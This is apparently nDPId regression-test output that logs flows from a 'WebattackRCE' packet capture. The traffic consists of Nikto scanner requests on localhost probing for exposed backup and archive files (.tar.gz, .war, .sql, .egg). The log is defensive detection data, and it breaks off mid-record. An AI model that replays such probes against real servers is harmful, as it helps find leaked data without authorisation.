+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":377,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":377,"flow_packet_id":1,"flow_first_seen":1576420277272,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50298,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":377,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":377,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":272396,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADA729AAEAGTMZ\/AAABfwAAAcR6H5Cm4tfMZrHSAYAYAED+tAAAAQEICp1m\/UCdZv1AR0VUIC8xLnRhci5neiBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":377,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":377,"flow_packet_id":1,"flow_first_seen":1576420277272,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50298,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1.tar.gz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":378,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":378,"flow_packet_id":1,"flow_first_seen":1576420277274,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50300,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":378,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":378,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":274824,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAlOZAAEAGp09\/AAABfwAAAcR8H5CKg6xDWKPSxIAYAED+tAAAAQEICp1m\/UKdZv1CR0VUIC8xLnRhci5neiBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":378,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":378,"flow_packet_id":1,"flow_first_seen":1576420277274,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50300,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1.tar.gz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":379,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":379,"flow_packet_id":1,"flow_first_seen":1576420277276,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50302,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":379,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":379,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":276135,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9in1AAEAGsbt\/AAABfwAAAcR+H5AyA7LdjyrNp4AYAED+sQAAAQEICp1m\/USdZv1DR0VUIC8wLndhciBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":379,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":379,"flow_packet_id":1,"flow_first_seen":1576420277276,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50302,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0.war","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":380,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":380,"flow_packet_id":1,"flow_first_seen":1576420277277,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50304,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00621{"flow_id":380,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":380,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":277374,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC906lAAEAGaI9\/AAABfwAAAcSAH5AxZOsBFr\/0GYAYAED+sQAAAQEICp1m\/UWdZv1FR0VUIC8wLndhciBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":380,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":380,"flow_packet_id":1,"flow_first_seen":1576420277277,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50304,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0.war","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":381,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":381,"flow_packet_id":1,"flow_first_seen":1576420277278,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50306,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":381,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":381,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":278597,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCR05AAEAG9OV\/AAABfwAAAcSCH5Cv93\/sjlpOBIAYAED+tgAAAQEICp1m\/UadZv1GR0VUIC9iYWNrdXAudGFyIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":381,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":381,"flow_packet_id":1,"flow_first_seen":1576420277278,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50306,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/backup.tar","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":382,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":382,"flow_packet_id":1,"flow_first_seen":1576420277279,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50308,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":382,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":382,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":279793,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCyNdAAEAGc1x\/AAABfwAAAcSEH5CsG\/B+ct073oAYAED+tgAAAQEICp1m\/UedZv1HR0VUIC9iYWNrdXAudGFyIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":382,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":382,"flow_packet_id":1,"flow_first_seen":1576420277279,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50308,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/backup.tar","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":383,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":383,"flow_packet_id":1,"flow_first_seen":1576420277281,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50310,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":383,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":383,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":281016,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFYHdAAEAG27l\/AAABfwAAAcSGH5C8uFjeIpIdX4AYAED+uQAAAQEICp1m\/UidZv1IR0VUIC8xMjcuMC4wLjEuc3FsIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":383,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":383,"flow_packet_id":1,"flow_first_seen":1576420277281,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50310,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.1.sql","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":384,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":384,"flow_packet_id":1,"flow_first_seen":1576420277282,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50312,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":384,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":384,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":282293,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFoI1AAEAGm6N\/AAABfwAAAcSIH5D0M5gk0yESEIAYAED+uQAAAQEICp1m\/UqdZv1KR0VUIC8xMjcuMC4wLjEuc3FsIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":384,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":384,"flow_packet_id":1,"flow_first_seen":1576420277282,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50312,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.1.sql","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":385,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":385,"flow_packet_id":1,"flow_first_seen":1576420277283,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50314,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":385,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":385,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":283610,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDBOlAAEAGN0p\/AAABfwAAAcSKH5Dv6jxQN18efIAYAED+twAAAQEICp1m\/UudZv1LR0VUIC8xMjcuMC4wLmVnZyBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":385,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":385,"flow_packet_id":1,"flow_first_seen":1576420277283,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50314,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.egg","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":386,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":386,"flow_packet_id":1,"flow_first_seen":1576420277284,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50316,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":386,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":386,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":284833,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDCzNAAEAGMQB\/AAABfwAAAcSMH5CEzzOZEWOd+IAYAED+twAAAQEICp1m\/UydZv1MR0VUIC8xMjcuMC4wLmVnZyBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":386,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":386,"flow_packet_id":1,"flow_first_seen":1576420277284,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50316,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.egg","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":387,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":387,"flow_packet_id":1,"flow_first_seen":1576420277286,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50318,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":387,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":387,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":286042,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9CzBAAEAGMQl\/AAABfwAAAcSOH5AKIDOIyoTTQIAYAED+sQAAAQEICp1m\/U2dZv1NR0VUIC8xLmVnZyBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":387,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":387,"flow_packet_id":1,"flow_first_seen":1576420277286,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50318,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1.egg","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":388,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":388,"flow_packet_id":1,"flow_first_seen":1576420277288,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50320,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00621{"flow_id":388,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":388,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":288855,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9JlVAAEAGFeR\/AAABfwAAAcSQH5Clfx76D\/AiGIAYAED+sQAAAQEICp1m\/VCdZv1QR0VUIC8xLmVnZyBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":388,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":388,"flow_packet_id":1,"flow_first_seen":1576420277288,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50320,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1.egg","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":389,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":389,"flow_packet_id":1,"flow_first_seen":1576420277291,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50322,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":389,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":389,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":291186,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCVkJAAEAG5fF\/AAABfwAAAcSSH5BxEW7rgO+zGYAYAED+tgAAAQEICp1m\/VOdZv1SR0VUIC8xMjcwMDEudGd6IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":389,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":389,"flow_packet_id":1,"flow_first_seen":1576420277291,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50322,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": 